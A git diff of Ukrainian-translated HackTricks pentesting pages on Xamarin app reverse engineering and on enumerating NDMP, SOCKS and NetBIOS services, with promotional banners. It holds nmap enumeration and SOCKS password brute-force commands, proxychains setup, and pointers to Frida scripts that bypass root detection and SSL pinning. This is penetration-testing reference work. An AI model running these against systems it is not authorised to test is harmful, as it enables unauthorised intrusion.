* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Це краткий огляд блог-пости [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Основна інформація**
|
||||
## **Basic Information**
|
||||
|
||||
Xamarin - це **відкрита платформа**, призначена для розробників для **створення додатків для iOS, Android та Windows** з використанням .NET та C# фреймворків. Ця платформа надає доступ до численних інструментів та розширень для ефективного створення сучасних додатків.
|
||||
Xamarin є **платформою з відкритим кодом**, призначеною для розробників для **створення додатків для iOS, Android та Windows** з використанням фреймворків .NET та C#. Ця платформа надає доступ до численних інструментів та розширень для ефективного створення сучасних додатків.
|
||||
|
||||
### Архітектура Xamarin
|
||||
|
||||
- Для **Android**, Xamarin інтегрується з Android та Java namespaces через .NET bindings, працюючи в середовищі виконання Mono поряд з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) сприяють комунікації між Mono та ART, обидва побудовані на ядрі Linux.
|
||||
- Для **iOS**, додатки працюють під управлінням Mono runtime, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в мову асемблера ARM. Цей процес працює поряд з Objective-C Runtime на ядрі подібному до UNIX.
|
||||
- Для **Android** Xamarin інтегрується з Android та Java просторами імен через .NET зв'язки, працюючи в середовищі виконання Mono разом з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) полегшують зв'язок між Mono та ART, обидва з яких побудовані на ядрі Linux.
|
||||
- Для **iOS** додатки працюють під управлінням середовища виконання Mono, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в ARM асемблерну мову. Цей процес працює разом з Objective-C Runtime на ядрі, подібному до UNIX.
|
||||
|
||||
### .NET Runtime та Mono Framework
|
||||
|
||||
**.NET framework** включає збірки, класи та простори імен для розробки додатків, а .NET Runtime керує виконанням коду. Він пропонує платформенну незалежність та сумісність з попередніми версіями. **Mono Framework** - це відкрита версія .NET framework, започаткована в 2005 році для розширення .NET на Linux, зараз підтримується Microsoft та очолюється Xamarin.
|
||||
**.NET фреймворк** включає збірки, класи та простори імен для розробки додатків, при цьому .NET Runtime керує виконанням коду. Він пропонує незалежність від платформи та зворотну сумісність. **Mono Framework** є версією .NET фреймворку з відкритим кодом, ініційованою в 2005 році для розширення .NET на Linux, тепер підтримується Microsoft і очолюється Xamarin.
|
||||
|
||||
### Реверс-інженерія додатків Xamarin
|
||||
### Реверс-інжиніринг додатків Xamarin
|
||||
|
||||
#### Декомпіляція збірок Xamarin
|
||||
|
||||
Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулів у Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє безпосередній доступ до коду сторонніх вендорів та видобування вихідного коду для аналізу.
|
||||
Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулі в Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє безпосередній доступ до стороннього коду та витягування вихідного коду для аналізу.
|
||||
|
||||
#### JIT проти AOT компіляції
|
||||
|
||||
- **Android** підтримує Just-In-Time (JIT) та Ahead-Of-Time (AOT) компіляцію, з гібридним режимом AOT для оптимальної швидкості виконання. Повна AOT доступна лише для корпоративних ліцензій.
|
||||
- **iOS** використовує виключно AOT компіляцію через обмеження Apple на динамічне виконання коду.
|
||||
- **Android** підтримує Just-In-Time (JIT) та Ahead-Of-Time (AOT) компіляцію, з гібридним режимом AOT для оптимальної швидкості виконання. Повна AOT є ексклюзивною для корпоративних ліцензій.
|
||||
- **iOS** використовує лише AOT компіляцію через обмеження Apple на динамічне виконання коду.
|
||||
|
||||
### Вилучення dll-файлів з APK/IPA
|
||||
### Витягування dll файлів з APK/IPA
|
||||
|
||||
Для доступу до збірок у APK/IPA розпакуйте файл та дослідіть каталоги збірок. Для Android інструменти, такі як [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) та [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress), можуть розпаковувати dll-файли.
|
||||
Щоб отримати доступ до збірок в APK/IPA, розпакуйте файл і досліджуйте каталог збірок. Для Android інструменти, такі як [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) та [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress), можуть розпаковувати dll файли.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Для розбору блобів у збірках Android можна використати [pyxamstore](https://github.com/jakev/pyxamstore).
|
||||
Для збірки блобів в Android, [pyxamstore](https://github.com/jakev/pyxamstore) може їх розпакувати.
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll-файли легко доступні для декомпіляції, розкриваючи значні частини коду додатка, який часто має спільну базу на різних платформах.
|
||||
iOS dll файли легко доступні для декомпіляції, що відкриває значні частини коду програми, який часто має спільну базу на різних платформах.
|
||||
|
||||
### Динамічний аналіз
|
||||
|
||||
Динамічний аналіз включає перевірку SSL-пінінгу та використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax) для змін за час виконання .NET-бінарних файлів у додатках Xamarin. Доступні скрипти Frida для обхіду виявлення root або SSL-пінінгу, що покращує можливості аналізу.
|
||||
Динамічний аналіз передбачає перевірку на SSL pinning та використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax), для модифікацій .NET бінарних файлів у додатках Xamarin під час виконання. Скрипти Frida доступні для обходу виявлення root або SSL pinning, що покращує можливості аналізу.
|
||||
|
||||
Інші цікаві скрипти Frida:
|
||||
|
||||
|
@ -67,16 +68,17 @@ iOS dll-файли легко доступні для декомпіляції,
|
|||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Інформація про протокол**
|
||||
|
||||
З [Вікіпедії](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP**, або **Протокол управління мережевими даними**, це протокол, призначений для передачі даних між пристроями зберігання, підключеними до мережі \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) та [резервними копіями](https://en.wikipedia.org/wiki/Backup). Це усуває необхідність у транспортуванні даних через сам сервер резервного копіювання, тим самим підвищуючи швидкість та зменшуючи навантаження на сервер резервного копіювання.
|
||||
> **NDMP**, або **Протокол управління даними в мережі**, є протоколом, призначеним для транспортування даних між пристроями з мережевим підключенням для зберігання \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) та [пристроями резервного копіювання](https://en.wikipedia.org/wiki/Backup). Це усуває необхідність транспортування даних через сам сервер резервного копіювання, тим самим підвищуючи швидкість і зменшуючи навантаження на сервер резервного копіювання.
|
||||
|
||||
**Порт за замовчуванням:** 10000
|
||||
```text
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||
```
|
||||
# **Перелік**
|
||||
# **Перерахування**
|
||||
```bash
|
||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||
```
|
||||
|
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# 1080 - Тестування на проникнення Socks
|
||||
# 1080 - Pentesting Socks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**SOCKS** - це протокол, який використовується для передачі даних між клієнтом та сервером через проксі. П'ята версія, **SOCKS5**, додає необов'язкову функцію аутентифікації, що дозволяє лише авторизованим користувачам отримувати доступ до сервера. Він в основному відповідає за проксі-пересилання TCP-з'єднань та пересилання пакетів UDP, працюючи на рівні сеансу (рівень 5) моделі OSI.
|
||||
**SOCKS** - це протокол, що використовується для передачі даних між клієнтом і сервером через проксі. П'ята версія, **SOCKS5**, додає необов'язкову функцію аутентифікації, що дозволяє лише авторизованим користувачам отримувати доступ до сервера. Він в основному обробляє проксирування TCP-з'єднань і пересилання UDP-пакетів, працюючи на рівні сесії (Рівень 5) моделі OSI.
|
||||
|
||||
**Порт за замовчуванням:** 1080
|
||||
|
||||
## Етапи переліку
|
||||
## Перерахування
|
||||
|
||||
### Перевірка аутентифікації
|
||||
```bash
|
||||
nmap -p 1080 <ip> --script socks-auth-info
|
||||
```
|
||||
### Перебір паролів
|
||||
### Brute Force
|
||||
|
||||
#### Базове використання
|
||||
#### Основне використання
|
||||
```bash
|
||||
nmap --script socks-brute -p 1080 <ip>
|
||||
```
|
||||
|
@ -36,7 +37,7 @@ nmap --script socks-brute -p 1080 <ip>
|
|||
```bash
|
||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
#### Вивід
|
||||
#### Вихід
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
|
@ -46,22 +47,15 @@ PORT STATE SERVICE
|
|||
| Statistics
|
||||
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
||||
```
|
||||
## Тунелювання та перенаправлення портів
|
||||
## Tunneling and Port Forwarding
|
||||
|
||||
### Базове використання proxychains
|
||||
### Основне використання proxychains
|
||||
|
||||
Налаштування ланцюга проксі для використання socks проксі
|
||||
Налаштуйте proxy chains для використання socks проксі
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
```bash
|
||||
ssh -D 127.0.0.1:9050 -N user@your_proxy_server
|
||||
```
|
||||
|
||||
### Proxychains
|
||||
```bash
|
||||
proxychains <command>
|
||||
```
|
||||
Редагуйте внизу та додайте свій проксі
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
|
@ -69,18 +63,19 @@ socks5 10.10.10.10 1080
|
|||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### Додаткова інформація: [Тунелювання та перенаправлення портів](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
#### Більше інформації: [Тунелювання та переадресація портів](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,67 +1,68 @@
|
|||
# 137,138,139 - Тестування на проникнення NetBios
|
||||
# 137,138,139 - Pentesting NetBios
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Служба імен NetBios
|
||||
## NetBios Name Service
|
||||
|
||||
**Служба імен NetBIOS** відіграє важливу роль, включаючи різні послуги, такі як **реєстрація та розв'язання імен**, **розподіл датаграм**, та **сесійні послуги**, використовуючи конкретні порти для кожної послуги.
|
||||
**NetBIOS Name Service** відіграє важливу роль, включаючи різні сервіси, такі як **реєстрація та розв'язання імен**, **розподіл датаграм** та **сесійні сервіси**, використовуючи специфічні порти для кожного сервісу.
|
||||
|
||||
[З Вікіпедії](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
* Служба імен для реєстрації та розв'язання імен (порти: 137/udp та 137/tcp).
|
||||
* Служба розподілу датаграм для безз'єднаній комунікації (порт: 138/udp).
|
||||
* Сесійна служба для з'єднаної комунікації (порт: 139/tcp).
|
||||
* Сервіс імен для реєстрації та розв'язання імен (порти: 137/udp та 137/tcp).
|
||||
* Сервіс розподілу датаграм для без'єднаної комунікації (порт: 138/udp).
|
||||
* Сесійний сервіс для орієнтованої на з'єднання комунікації (порт: 139/tcp).
|
||||
|
||||
### Служба імен
|
||||
### Name Service
|
||||
|
||||
Для того, щоб пристрій брав участь в мережі NetBIOS, він повинен мати унікальне ім'я. Це досягається за допомогою **процесу трансляції**, де відправляється пакет "Запит імені". Якщо не надходять жодні заперечення, ім'я вважається доступним. Альтернативно, можна безпосередньо запитати **сервер служби імен** для перевірки доступності імені або для розв'язання імені на IP-адресу. Інструменти, такі як `nmblookup`, `nbtscan`, та `nmap`, використовуються для переліку служб NetBIOS, виявлення імен серверів та MAC-адрес.
|
||||
Щоб пристрій міг брати участь у мережі NetBIOS, він повинен мати унікальне ім'я. Це досягається через **процес широкомовлення**, де надсилається пакет "Запит імені". Якщо заперечень не надходить, ім'я вважається доступним. Альтернативно, можна безпосередньо запитати **сервер служби імен**, щоб перевірити доступність імені або розв'язати ім'я в IP-адресу. Інструменти, такі як `nmblookup`, `nbtscan` та `nmap`, використовуються для перерахунку служб NetBIOS, виявляючи імена серверів та MAC-адреси.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
Перелічуючи службу NetBIOS, ви можете отримати імена, які використовує сервер, та MAC-адресу сервера.
|
||||
Перераховуючи службу NetBIOS, ви можете отримати імена, які використовує сервер, та MAC-адресу сервера.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Служба розподілу датаграм
|
||||
### Datagram Distribution Service
|
||||
|
||||
NetBIOS датаграми дозволяють здійснювати безпосереднє з'єднання через UDP, підтримуючи пряме надсилання повідомлень або розсилання всім мережевим іменам. Ця служба використовує порт **138/udp**.
|
||||
NetBIOS датаграми дозволяють безконнектне спілкування через UDP, підтримуючи прямі повідомлення або трансляцію на всі мережеві імена. Ця служба використовує порт **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Служба сеансів
|
||||
### Session Service
|
||||
|
||||
